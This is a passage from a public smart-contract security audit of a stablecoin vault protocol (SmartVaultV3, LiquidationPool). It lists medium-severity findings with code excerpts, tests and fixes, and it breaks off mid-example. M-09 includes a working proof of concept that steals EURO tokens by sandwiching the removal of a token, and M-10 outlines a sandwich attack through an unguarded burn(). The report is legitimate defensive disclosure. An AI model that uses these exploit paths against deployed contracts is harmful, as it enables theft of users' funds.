        liquidationPoolManager = new LiquidationPoolManager(address(TST), address(EURO), address(vaultManagerV5Instance), address(ClEurUsd), payable(treasury), 30000 );
        liquidationPool = LiquidationPool(liquidationPoolManager.pool());
        vaultManagerV5Instance.setProtocolAddress(address(liquidationPoolManager));
        vaultManagerV5Instance.setLiquidatorAddress(address(liquidationPoolManager));
        vaultManagerV5Instance = SmartVaultManagerV5(address(proxy));

        smartVaultIndex.setVaultManager(address(vaultManagerV5Instance));
        EURO.grantRole(EURO.DEFAULT_ADMIN_ROLE(), address(vaultManagerV5Instance));
        vm.stopPrank();
    }

After that for making testing easier do following change in SmartVaultV3.sol:

  • Change "maxMintable()"s visibility to public, so that we can call this function within our tests

Now here comes our test functions. After that I will explain the tests and outputs clearly.

    function testCantRemoveCollateral() public {
        // deposits
        vm.deal(alice , 100e18);
        deal(address(WBTC), alice, 10e8);
        deal(address(EURO), alice, 10e18);
        vm.startPrank(alice);
        (address vaultTemp, ) = vaultManagerV5Instance.mint();
        SmartVaultV3 vault0 = SmartVaultV3(payable(vaultTemp));
        IERC20(address(WBTC)).transfer(address(vault0), 10e8);
        EURO.approve(address(vault0), 100_000e18);

        // mint
        vault0.mint(alice, 1000e18);

        // custom calculation to make test easier
        uint256 amountToRemove = 95e7;
        (, int256 price,,,) = ClWbtcUsd.latestRoundData();
        int256 euroValueOfCollat = 10e8 * price / 1e8;
        uint256 euroValueToRemove = amountToRemove * uint256(price) / 1e8;
        console2.log("Euro value of the collateral(without decimals to make it clear)", euroValueOfCollat/1e8);
        console2.log("Max Mintable Euro amount(without decimals to make it clear):",vault0.maxMintable()/1e18);
        console2.log("Euro value to remove(without decimals to make it clear):",euroValueToRemove/1e8);

        uint256 amountLeft = 10e8 - 95e7;
        uint256 eurValueLeft = amountLeft * uint256(price) / 1e8;
        console2.log("Amount left(without decimals to make it clear):",eurValueLeft/1e8);

        // withdraws
        vault0.removeCollateral(bytes32(bytes(WBTC.symbol())), amountToRemove, msg.sender);
    }

    function testMaxMintableAfterRemoval() public {
        // deposits
        vm.deal(alice , 100e18);
        deal(address(WBTC), alice, 10e8);
        deal(address(EURO), alice, 10e18);
        vm.startPrank(alice);
        (address vaultTemp, ) = vaultManagerV5Instance.mint();
        SmartVaultV3 vault0 = SmartVaultV3(payable(vaultTemp));
        IERC20(address(WBTC)).transfer(address(vault0), 5e7);
        EURO.approve(address(vault0), 100_000e18);     

        //mint
        vault0.mint(alice, 1000e18);

        console2.log("Max Mintable Euro amount(without decimals to make it clear):",vault0.maxMintable()/1e18);
    }

Let me explain the scenario with values and outputs of tests. (I won't use decimals in both my explanations and also in test calculations to make it easier to see)

  • Alice deposits 10 WBTC.
  • Alice mint 1000 euros.
  • Alice decides she don't want to mint more euros and want to remove her collateral that is free.
  • Alice tries to remove 9.5 WBTC. Run "forge test --match-test testCantRemoveCollateral", output will look like this:
Running 1 test for test/foundry/SmartVault.t.sol:SmartVaultV3Test
[FAIL. Reason: revert: err-under-coll] testCantRemoveCollateral() (gas: 3564386)
Logs:
  Euro value of the collateral(without decimals to make it clear) 441158
  Max Mintable Euro amount(without decimals to make it clear): 365971
  Euro value to remove(without decimals to make it clear): 419100
  Amount left(without decimals to make it clear): 22057

As we can see initially Alice deposits "441_158" euros worth of collateral.

With this much collateral Alice can mint "365_971" euro.

Alice only minted "1_000" euros

Alice wants to remove "419_100" euro worth of collateral.

After this removal there will be "22_057" worth of collateral will remain in the collateral.

And now let's run the second test with "forge test --match-test testMaxMintableAfterRemoval", output should look like this:

Running 1 test for test/foundry/SmartVault.t.sol:SmartVaultV3Test
[PASS] testMaxMintableAfterRemoval() (gas: 3355971)
Logs:
  Max Mintable Euro amount(without decimals to make it clear): 18298

As we can see with this "22_057" worth of collateral, it is possible to mint "18_298" EUROs. But even when Alice minted only "1_000" euros, she can't remove her collateral because of the wrong check in canRemoveCollateral():

        return currentMintable >= eurValueToRemove &&
            minted <= currentMintable - eurValueToRemove;

In our scenario currentMintable = 365_971 and eurValueToRemove = 419_100. Hence first check in function will return false even when alice has enough collateral to hold her position. Also the second check will revert with underflow so the return value of this function is implemented wrong.

Impact

Impact is medium because users that are encountered this problem need to remove the protocol in order to get their collateral back. Likelihood is also medium, not all users will encounter this but some will. Hence this is a medium severity vulnerability.

Tools Used

Manual Review, Foundry Testing

Recommendations

Change the order of removing check, and change canRemoveCollateral() function. Instead of current implementation first remove the collateral (send it back to user), then in the same function check if user is liquid enough (health factor) check, if not, revert. Current removing pseudocode:

  • Check for is it possible to remove via canRemoveCollateral() (wrongly implemented function). If not, revert.
  • Send the collateral back to user.

Suggested removing pseudocode:

  • Send the collateral back to user.
  • Check if user is collateralised enough. If not, revert.

Final canRemoveCollateral() function can look like this:

function isHealthyAfterRemoval():
    if minted == 0, return true;
    else:
        uint256 currentMintable = maxMintable();
        return minted <= currentMintable;

M-02. Missing deadline check allow pending transactions to be maliciously executed

Submitted by mylifechangefast, greatlake, ZanyBonzy, kgothatso, Daniel526, 97Sabit, kodyvim, carrotsmuggler, IceBear, Silvermist, Timenov, batsanov, ke1caM, nuthan2x, iamandreiski, eeshenggoh, fakemonkgin, 0xAsen, aslanbek, 0xepley, 0xlemon, cartlex, mahdiRostami, 0xAraj, 0xRizwan, tsvetanovv, djxploit, DarkTower , Cryptor, carlitox477, PTolev, DenTonylifer, 0xgreywolf, 0xrs, SAAJ, Bube, dyoff, Tripathi, OceanSky, sonny2k, devanas, 0xsandy, ni8mare, ddimitrov22, smbv1923, 0xhacksmithh, SanketKogekar, ro1sharkm, Jeffauditor. Selected submission by: greatlake.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L214-#L231

Summary

SmartVaultV3#swap() function does not allow users to submit a deadline for their actions which execute swaps on Uniswap. This missing feature enables pending transactions to be maliciously executed at a later point.

Vulnerability Details

SmartVaultV3#swap() function is using block.timestamp as deadline which can be exploited by a malicious miner.

function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external onlyOwner {
    uint256 swapFee = _amount * ISmartVaultManagerV3(manager).swapFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
    address inToken = getSwapAddressFor(_inToken);
    uint256 minimumAmountOut = calculateMinimumAmountOut(_inToken, _outToken, _amount);
    ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
            tokenIn: inToken,
            tokenOut: getSwapAddressFor(_outToken),
            fee: 3000,
            recipient: address(this),
            deadline: block.timestamp,      // <----
            amountIn: _amount - swapFee,
            amountOutMinimum: minimumAmountOut,
            sqrtPriceLimitX96: 0
        });
    inToken == ISmartVaultManagerV3(manager).weth() ?
        executeNativeSwapAndFee(params, swapFee) :
        executeERC20SwapAndFee(params, swapFee);
}

Impact

Swap can be maliciously executed later, user can face up with the loss when the value of token change. In the worst scenario, vault can be liquidated because of the swap.

Tools Used

Manual review.

Recommendations

User should be able to set the deadline.

M-03. Fees are hardcoded to 3000 in ExactInputSingleParams

Submitted by mylifechangefast, 0x6a70, ZanyBonzy, carrotsmuggler, Timenov, ke1caM, iamandreiski, 0xAsen, Bauer, Cosine, SovaSlava, rvierdiiev, IceBear, mahdiRostami, Bauchibred, touqeershah32, 0xRizwan, Cryptor, tsvetanovv, Lalanda, PTolev, NentoR, DarkTower , 0xrs, 0xBinChook, BjornBug, greatlake, ni8mare, Kose, smbv1923, Jeffauditor, inzinko, ro1sharkm. Selected submission by: mahdiRostami.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L221

Summary

Fixed fee level is used when swap tokens on Uniswap.

Vulnerability Details

In Fees SmartVaultV3::swap a fixed fee 3000 (0.3%) level is used:

    function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external onlyOwner {
        uint256 swapFee = _amount * ISmartVaultManagerV3(manager).swapFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
        address inToken = getSwapAddressFor(_inToken);
        uint256 minimumAmountOut = calculateMinimumAmountOut(_inToken, _outToken, _amount);
        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
                tokenIn: inToken,
                tokenOut: getSwapAddressFor(_outToken),
@>                fee: 3000, //@audit fixed fee
                recipient: address(this),
                deadline: block.timestamp,
                amountIn: _amount - swapFee,
                amountOutMinimum: minimumAmountOut,
                sqrtPriceLimitX96: 0
            });
        inToken == ISmartVaultManagerV3(manager).weth() ?
            executeNativeSwapAndFee(params, swapFee) :
            executeERC20SwapAndFee(params, swapFee);
    }

Usually, there are multiple Uniswap V3 pools available for a given token pair with different swap fees.

For instance, the optimal route to swap USDC for WETH is using the 0.05% (500) swap fee pool, which has significantly more liquidity than the 0.3% (3000) swap fee pool and thus less slippage.

Additionally, if the desired pool is not available, the swap will fail, or an attacker could exploit this by creating an imbalanced pool with the desired swap fee and stealing the tokens.

Impact

The Fees contract uses inefficient swaps, which leads to higher slippage (receiving less WETH) or failing swaps.

Tools Used

Manual review.

Recommendations

It is recommended to Passing fee level to SmartVaultV3::swap function as parameter:

+    function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount, uint24 _fee) external onlyOwner {
        uint256 swapFee = _amount * ISmartVaultManagerV3(manager).swapFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
        address inToken = getSwapAddressFor(_inToken);
        uint256 minimumAmountOut = calculateMinimumAmountOut(_inToken, _outToken, _amount);
        ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
                tokenIn: inToken,
                tokenOut: getSwapAddressFor(_outToken),
+               fee: _fee, //@audit
                recipient: address(this),
                deadline: block.timestamp,
                amountIn: _amount - swapFee,
                amountOutMinimum: minimumAmountOut,
                sqrtPriceLimitX96: 0
            });
        inToken == ISmartVaultManagerV3(manager).weth() ?
            executeNativeSwapAndFee(params, swapFee) :
            executeERC20SwapAndFee(params, swapFee);
    }

M-04. No incentive to liquidate small positions could result in protocol going underwater

Submitted by kodyvim, haxatron, t0x1c, greatlake, Tricko. Selected submission by: t0x1c.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L114

Summary

The protocol allows to create vaults and provide collateral for minting EUROs with no lower limit. As such, multiple low value vaults can exist. However, there is no incentive to liquidate low value vaults because of gas cost.

Vulnerability Details

Liquidators liquidate users for the profit they can make. If there is no profit to be made than there will be no one to call the liquidate function. For example a vault could exist with a very low collateral value. This user is undercollateralized and must be liquidated in order to ensure that the protocol remains overcollateralized. If a liquidator wishes to liquidate this user, they will first need to stake some TST/EUROs which involves gas cost. Because the value of the collateral is so low, after gas costs, liquidators will not make a profit liquidating this user. In the end these low value vaults will never get liquidated, leaving the protocol with bad debt and can even cause the protocol to be undercollateralized with enough small value accounts being underwater.

Attack Vector & Similar Issues

  • See a similar issue raised in the past rated as high impact & high likelihood. It additionally highlights how this can become an attack vector (even by non-whales) on chains which aren't costly. The attack can be done by a malicious actor/group of actors who short the protocol and then open multiple such positions to attack the protocol.

  • Another description of the same issue.

Impact

  • The protocol can go underwater, complete loss of funds.

Tools Used

Manual review

Recommendations

  • A potential fix would be to set a minimum threshold for collateral value which has to be exceeded in order for a user to mint EUROs

M-05. Anyone can call the burn function in SmartVaultV3.sol

Submitted by y4y, 0x6a70, Alchmy0, Tigerfrake, Greed, dyoff, tutkata, BjornBug, 0xStriker. Selected submission by: 0x6a70.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L169

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L27

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L206C14-L206C39

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L217

Summary

The burn function in SmartVaultV3.sol has only ifMinted modifier , and it's external which means anyone can call it as the SmartVaults share a Euros contract.

Vulnerability Details

A malicious user that already has minted EURs tokens can call the burn function of another SmartVault contract. He can cause the minted variable to be 0. This on the other hand will cause the requiredCollateralValue to equal zero in function calculateMinimumAmountOut(bytes32 _inTokenSymbol, bytes32 _outTokenSymbol, uint256 _amount). This on the other hand will cause the function to return 0.

    function calculateMinimumAmountOut(bytes32 _inTokenSymbol, bytes32 _outTokenSymbol, uint256 _amount)
        private
        view
        returns (uint256)
    {
        ISmartVaultManagerV3 _manager = ISmartVaultManagerV3(manager);
        uint256 requiredCollateralValue = minted * _manager.collateralRate() / _manager.HUNDRED_PC();
        uint256 collateralValueMinusSwapValue =
            euroCollateral() - calculator.tokenToEur(getToken(_inTokenSymbol), _amount);
        return collateralValueMinusSwapValue >= requiredCollateralValue
            ? 0
            : calculator.eurToToken(getToken(_outTokenSymbol), requiredCollateralValue - collateralValueMinusSwapValue);
    }

And now we get to swap function, where minimumAmountOut = calculateMinimumAmountOut(_inToken, _outToken, _amount); Meaning minimumAmountOut = 0 which according to the UniswapDocs:

amountOutMinimum: we are setting to zero, but this is a significant risk in production. For a real deployment, this value should be calculated using our SDK or an onchain price oracle - this helps protect against getting an unusually bad price for a trade due to a front running sandwich or another type of price manipulation

Which will cause to loss of funds while swapping.

Impact

High as it can lead to loss of funds.

Tools Used

Manual review

Recommendations

Inctroduce onlyOwner modifier.

M-06. Divergence in the pricing method for collateral within the calculateMinimumAmountOut() may result in vaults transitioning into an uncollateralized state after executing swaps.

Submitted by KupiaSec, carrotsmuggler, 0xCiphky, greatlake, khramov, Tripathi, Tricko, EVDocPhantom, Aamirusmani1552. Selected submission by: Tricko.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L206-L212

Summary

In the SmartVaultV3.calculateMinimumAmountOut() function, the variable collateralValueMinusSwapValue is computed using calculator.tokenToEur() instead of calculator.tokenToEurAvg(). This leads to inaccurate values for collateralValueMinusSwapValue when there are recent changes in the price of the swapped token. In extreme cases, this miscalculation can result in the SmartVaultV3.swap() function instantly placing the vault in an uncollaterized position after the swap.

Vulnerability Details

Before any swap is done, the swap parameters need to be calculated on-chain, especially the minAmountOut parameter. This parameter is calculated in SmartVaultV3.calculateMinimumAmountOut(), as shown in the code snippet from calculateMinimumAmountOut() below.

function calculateMinimumAmountOut(bytes32 _inTokenSymbol, bytes32 _outTokenSymbol, uint256 _amount) private view returns (uint256) {
    ISmartVaultManagerV3 _manager = ISmartVaultManagerV3(manager);
    uint256 requiredCollateralValue = minted * _manager.collateralRate() / _manager.HUNDRED_PC();
    uint256 collateralValueMinusSwapValue = euroCollateral() - calculator.tokenToEur(getToken(_inTokenSymbol), _amount);
    return collateralValueMinusSwapValue >= requiredCollateralValue ?
        0 : calculator.eurToToken(getToken(_outTokenSymbol), requiredCollateralValue - collateralValueMinusSwapValue);
}

As we can see, when collateralValueMinusSwapValue is calculated it gets the current vault collateral from euroCollateral().Internally, this function uses calculator.tokenToEurAvg() to fetch the value of collaterals. The method tokenToEurAvg() computes the average value of the specified token over the last four hours. However, immediately following this, euroCollateral() subtracts the result by calculator.tokenToEur, which instead utilizes the most recent value of the token, not the averaged one.

This mismatch from using tokenToEur instead of tokenToEurAvg() makes collateralValueMinusSwapValue susceptible to rapid price fluctuations. Consequently, under volatile market conditions, collateralValueMinusSwapValue might be overestimated or underestimated, depending on whether the token prices are rising or falling.

If tokenToEurAvg() > tokenToEur(), such as when the token price is falling, collateralValueMinusSwapValue will be overestimated. Conversely, if tokenToEurAvg() < tokenToEur(), such as when the price is increasing, collateralValueMinusSwapValue will be underestimated. This discrepancy can lead to issues; for instance, an overestimated collateralValueMinusSwapValue can result in a smaller minAmountOut calculated in SmartVaultV3.calculateMinimumAmountOut(). In extreme cases, this can cause the swap output to be less collateral than required, putting the vault in an uncollaterized state.

This is particularly problematic during situations when vault owners are more likely to perform swaps, such as swapping one collateral for another during periods of market volatility to shield themselves from declining asset values. In such cases, the difference between tokenToEurAvg() and tokenToEur() becomes more significant due to the rapid price fluctuations.

Consider the following example: If the price of WBTC has significantly decreased over the last few hours, a vault owner swaps their WBTC collateral to another asset to safeguard against undercollateralization in case the WBTC keeps falling. However, due to the recent fall in the WBTC price, tokenToEurAvg() > tokenToEur(), leading to an overestimated collateralValueMinusSwapValue. As a result, the minAmountOut calculated from the swap is reduced, making the vault less collateralized, contrary to the owner's intention of protecting the vault through the swap.

Impact

During volatile market conditions, collateralValueMinusSwapValue will be calculated incorrectly. In extreme cases, this can cause swaps to place the vault in an uncollaterized state.

Tools Used

Manual Review.

Recommended Mitigation

Consider using calculator.tokenToEurAvg instead of calculator.tokenToEur in SmartVaultV3.calculateMinimumAmountOut().

M-07. Wrong Implementation of LiquidationPool::empty excludes holder with pending stakes when decreasing a position, resulting in exclusion from asset distribution

Submitted by 0x9527, nmirchev8, 0xMAKEOUTHILL, Cosine, rvierdiiev, Aamirusmani1552, JrNet, shikhar229169, 0xmuxyz, carlitox477, khramov, 0xAadhi, Tricko, ElHaj, EVDocPhantom, inzinko. Selected submission by: carlitox477.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/LiquidationPool.sol#L92-L94

Description

If a holder has withdrawn from a previous consolidated position but still has pending stakes eligible for consolidation, they will not be included in the asset distribution. This is due to their prior exclusion from the LiquidationPool.holder array through LiquidationPool::deletePosition, given that the position will be considered as empty when position.TST == 0 && position.EUROs == 0.

Impact

Pending stakes that are consolidated during asset distribution will be excluded from rewards if there is no previous consolidated position due to a prior complete withdrawal, leading to wrong asset distribution when a liquidation occurs

POC

  1. Bob has a position of (TST = 100, EUROS = 100).
  2. Alice has a position of (TST = 100, EUROS = 100).
  3. Alice increases her position by (TST = 100, EUROS = 100). Consequently, a pending stake in her favor is added to the LiquidationPool.pendingStake array.
  4. Immediately after step 3, Alice does a complete withdrawal of her consolidated position. Given that 24 hours have not passed since step 3, the pending stake created during the previous step is not consolidated. Her current position is considered empty; therefore, she is excluded from holders.
  5. After 24 hours, a vault is liquidated. Now, Alice's pending stake is consolidated, but since she is not included in holders, she is not considered for asset distribution. All assets go to Bob.

Coded POC

Severity justification

Lost of unclaimed yield

Recommended mitigation

When decreasing a position, verify if there is a pending stake from the same holder. If there is, do not exclude the holder from holders array. This means:

    function empty(Position memory _position) private pure returns (bool) {
        if (_position.TST == 0 && _position.EUROs == 0){
            address positionHolder = _position.holder;
            uint256 pendingStakesLen = pendingStakes.length();
            for(uint i; i < pendingStakesLen;){
                if(pendingStakes[i].holder == positionHolder){
                    return false;
                }
                unchecked{ ++i};
            }
            return true;
        }else{
            return false;
        }
    }

M-08. Incorrect calculation of amount of EURO to burn during liquidation

Submitted by haxatron, Cosine, rvierdiiev, 0xAraj, 0xCiphky, KrisRenZo, carlitox477, khramov, bbl4de. Selected submission by: haxatron.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L220

Vulnerability Details

In order to maintain a peg, we must ensure that when a position is liquidated, we liquidate more than or equal to the amount of stablecoin that is borrowed.

Let us say Alice locks up 12000 EURO worth of collateral into her vault and borrows 10000 EURO, with a minimum collateralisation rate of 120%. For simplicity, we assume a single staker owns the entire LP containing 10000 EURO. Now, assume that Alice's collateral value locked falls to 11000 EURO due to rapid price action (but it is still above 100% collateralisation rate)

During liquidation, the amount of EURO to burn is computed in https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/LiquidationPool.sol#L220

uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd) * _hundredPC / _collateralRate;

A high level explanation of this code is:

Asset Value in EURO * 100 / Collateral Rate

So computing the costInEuros we receive

11000 * 100 / 120 = 9166 EURO

Which results in 9166 EURO being burnt which is much lower than the 10000 EURO Alice borrowed. This can cause the EURO to depeg.

The fundamental assumption that is wrong here is that the developers have assumed that liquidation immediately occurs when the asset value falls below 120% collateralisation rate (or in the example above 12000 EURO, which results in the correct EURO to be burnt 12000 * 100 / 120 = 10000 EURO).

Impact

EURO depegging.

Tools Used

Manual Review

Recommendations

To calculate the cost of EUROs to be burned, use the amount of tokens minted for a particular position as opposed to the complex calculation above.

M-09. Removing assets in the TokenManager leads to major issues

Submitted by Cosine, 0xCiphky, 0xspryon, ElHaj, pontifex. Selected submission by: Cosine.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L68

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L84

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L128

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L149-L154

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L110-L123

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/LiquidationPool.sol#L65

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/LiquidationPool.sol#L165

Summary

The TokenManager contract allows adding and removing assets from the list of accepted tokens. These are the assets which are allowed to be used inside the protocol. When any asset is removed from this list, a major issues occur, as well as a direct attack path to steal an arbitrary amount of EURO tokens.

Vulnerability Details

The currently deployed TokenManager contract can be found here: https://arbiscan.io/address/0x33c5A816382760b6E5fb50d8854a61b3383a32a0#code

And as we can see here, it allows to remove assets from the list of accepted tokens:

contract TokenManager is ITokenManager, Ownable {
    Token[] private acceptedTokens;

    function getAcceptedTokens() external view returns (Token[] memory) {
        return acceptedTokens;
    }

    function addAcceptedToken(address _token, address _chainlinkFeed) external onlyOwner {
        ...
        acceptedTokens.push(Token(symbol, _token, token.decimals(), _chainlinkFeed, dataFeed.decimals()));
        ...
    }

    function removeAcceptedToken(bytes32 _symbol) external onlyOwner {
        require(_symbol != NATIVE, "err-native-required");
        for (uint256 i = 0; i < acceptedTokens.length; i++) {
            if (acceptedTokens[i].symbol == _symbol) {
                acceptedTokens[i] = acceptedTokens[acceptedTokens.length - 1];
                acceptedTokens.pop();
                emit TokenRemoved(_symbol);
            }
        }
    }
}

The getAcceptedTokens function from the TokenManager contract is used in the liquidate function to get the list of collateral tokens to liquidate. Here we can see that the liquidate function updates the minted amount to 0, loops over all tokens inside the accepted tokens list and transfers them to the SmartVaultManager:

function liquidateERC20(IERC20 _token) private {
    if (_token.balanceOf(address(this)) != 0) _token.safeTransfer(ISmartVaultManagerV3(manager).protocol(), _token.balanceOf(address(this)));
}

function liquidate() external onlyVaultManager {
    require(undercollateralised(), "err-not-liquidatable");
    liquidated = true;
    minted = 0;
    liquidateNative();
    ITokenManager.Token[] memory tokens = getTokenManager().getAcceptedTokens();
    for (uint256 i = 0; i < tokens.length; i++) {
        if (tokens[i].symbol != NATIVE) liquidateERC20(IERC20(tokens[i].addr));
    }
}

Now suppose the vault was collateralized with a token that was removed from this list. The vault will be instantly liquidateable as EUROs were borrowed but no collateral can be found in the vault. The minted variable is still set to 0, but collateral tokens stay inside this vault, as the token is not part of that for loop.

So the collateral stays in the vault, the minted amount is updated to 0 and the stakers / the protocol gets nothing. The borrower is now able to remove this collateral tokens out of the system by calling removeAsset, which will check if the collateral can be removed by calling canRemoveCollateral and this function will instantly respond with true as the minted amount was set to 0:

function removeAsset(address _tokenAddr, uint256 _amount, address _to) external onlyOwner {
    ITokenManager.Token memory token = getTokenManager().getTokenIfExists(_tokenAddr);
    if (token.addr == _tokenAddr) require(canRemoveCollateral(token, _amount), UNDER_COLL);
    IERC20(_tokenAddr).safeTransfer(_to, _amount);
    emit AssetRemoved(_tokenAddr, _amount, _to);
}

function canRemoveCollateral(ITokenManager.Token memory _token, uint256 _amount) private view returns (bool) {
    if (minted == 0) return true;
    uint256 currentMintable = maxMintable();
    uint256 eurValueToRemove = calculator.tokenToEurAvg(_token, _amount);
    return currentMintable >= eurValueToRemove &&
        minted <= currentMintable - eurValueToRemove;
}

Therefore, the borrower keeps the borrowed EURO tokens, as well as the collateral tokens. An arbitrary amount of EURO tokens can be stolen with this attack path. Especially if the malicious actor would sandwich the call that removes any collateral token from that list, it would be possible to front run the call and take a big loan with this collateral token and back run it to liquidate the own loan and remove the collateral from the vault.

The following POC can be implemented in the smartVault test file and showcases how a malicious actor can exploit the removal of a token:

describe("accepted token removal exploit", async () => {
    it("accepted token removal exploit", async () => {
      // add token to the TokenManager
      const Tether = await (
        await ethers.getContractFactory("ERC20Mock")
      ).deploy("Tether", "USDT", 6);
      const clUsdUsdPrice = 100000000;
      const ClUsdUsd = await (
        await ethers.getContractFactory("ChainlinkMock")
      ).deploy("USD / USD");
      await ClUsdUsd.setPrice(clUsdUsdPrice);
      await TokenManager.addAcceptedToken(Tether.address, ClUsdUsd.address);

      // mint user 100 USDT
      const borrowAmt = ethers.utils.parseEther("1");
      const collateralAmt = BigNumber.from(100000000);

      await Tether.mint(user.address, collateralAmt);

      // ---------------- front run ----------------

      // add collateral to the vault
      await Tether.connect(user).transfer(Vault.address, collateralAmt);

      // borrow EURO tokens
      await Vault.connect(user).mint(user.address, borrowAmt);

      // ---------------- token is removed from TokenManager ----------------
      await TokenManager.removeAcceptedToken(
        ethers.utils.formatBytes32String("USDT")
      );

      // ---------------- back run ----------------

      // vault is liquidated
      await VaultManager.connect(protocol).liquidateVault(1);

      // remove collateral out of the vault
      await Vault.connect(user).removeAsset(
        Tether.address,
        collateralAmt,
        user.address
      );

      // attacker owns all the collateral tokens and the full borrowed amount
      expect(await Tether.balanceOf(user.address)).to.equal(collateralAmt);
      expect(await EUROs.balanceOf(user.address)).to.equal(borrowAmt);
    });
});

Another problem with removing accepted tokens occurs in the LiquidationPool contract. Stakers can stake TST and EURO tokens to be able to buy collateral tokens for a discount with it. The bought collateral tokens are saved inside a mapping and can be claimed anytime by the staker with the claimRewards function:

function claimRewards() external {
    ITokenManager.Token[] memory _tokens = ITokenManager(tokenManager).getAcceptedTokens();
    for (uint256 i = 0; i < _tokens.length; i++) {
        ITokenManager.Token memory _token = _tokens[i];
        uint256 _rewardAmount = rewards[abi.encodePacked(msg.sender, _token.symbol)];
        if (_rewardAmount > 0) {
            delete rewards[abi.encodePacked(msg.sender, _token.symbol)];
            if (_token.addr == address(0)) {
                (bool _sent,) = payable(msg.sender).call{value: _rewardAmount}("");
                require(_sent);
            } else {
                IERC20(_token.addr).transfer(msg.sender, _rewardAmount);
            }
        }

    }
}

As we can see, this function also loops over the accepted tokens list. If there are unclaimed rewards and the token gets removed from the accepted tokens list, then all of these funds will be frozen in the contract and no longer claimable. As the staker already paid for these rewards with EURO tokens, funds were stolen from the staker.

Impact

  • Malicious actors can steal funds from the protocol, especially when they sandwich the removal call.
  • Borrowers can not be liquidated or only partially liquidated (if multiple collateral tokens are in the vault).
  • Rewards can not be claimed and are frozen in the LiquidationPool, but stakers already paid for them.

Recommendations

There are multiple ways to fix this issue. This suggestion is not the most beautiful design choice, but it is one way to fix the issue by touching the current system logic as little as possible:

  • add the ifNotLiquidated modifier to the remove asset / collateral functions
  • implement functions for the whole liquidation / claim reward flow which do the same thing for specified token addresses instead of the whole accepted tokens list

M-10. Attacker can force reduce minAmountOut from vault swaps, making they vulnerable to being sandwiched.

Submitted by NentoR, ljj, Tricko. Selected submission by: Tricko.

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L169-L175

https://github.com/Cyfrin/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/SmartVaultV3.sol#L206-L212

Summary

The attacker has the ability to burn EURO tokens on other users' vaults, thereby decreasing the required collateral for those users. This manipulation can be exploited, particularly during swaps, where the calculation of minAmountOut is based on the required collateral. Consequently, attackers can take advantage of this EURO burn to diminish the target user's swap minAmountOut, enabling them to execute a sandwich attack and "steal" part of the collateral used in the swap.

Vulnerability Details

Consider SmartVaultV3.burn() function, it allows any holder of EURO tokens to burn EURO tokens, reducing that vault minted value, even if they are not the owner of such vault. This reduction in minted also decreases the required collateral for the vault. The required collateral plays a crucial role in various vault methods, particularly the SmartVaultV3.swap() method. The calculated minAmountOut in the swap method is influenced by the difference between the vault collateral (after deducting tokens spent on the swap) and the required collateral to maintain the vault as overcollateralized.

If an attacker frontruns the vault's swap transaction and burns EURO tokens in that vault, the resulting minAmountOut will be smaller than intended by the vault owner. The attacker can exploit this situation to frontrun and sandwich the vault swap (SmartVaultV3.swap()) in a way that wouldn't be possible otherwise.

Consider both examples below. For simplification fees will be ignored, the price EURO and both accepted tokens (A and B) are $1 and the vault collateral ratio is set to 120%.

Normal vault swap Initial vault state (minted: 100, collateral: 120 token A ($120))

  1. Vault owner calls SmartVaultV3.swap(A, B, 10) to swap 10 token A for token B.

As expected from the code logic, in order for the vault to maintain collaterization, the minAmountOut calculated on-chain will be 10 token B.

Now consider the alternate scenario where attacker exploit the burn function. Initial vault state ( minted: 100, collateral: 120 token A ($120))

  1. Vault owner calls SmartVaultV3.swap(A, B, 10) to swap 10 token A for token B.
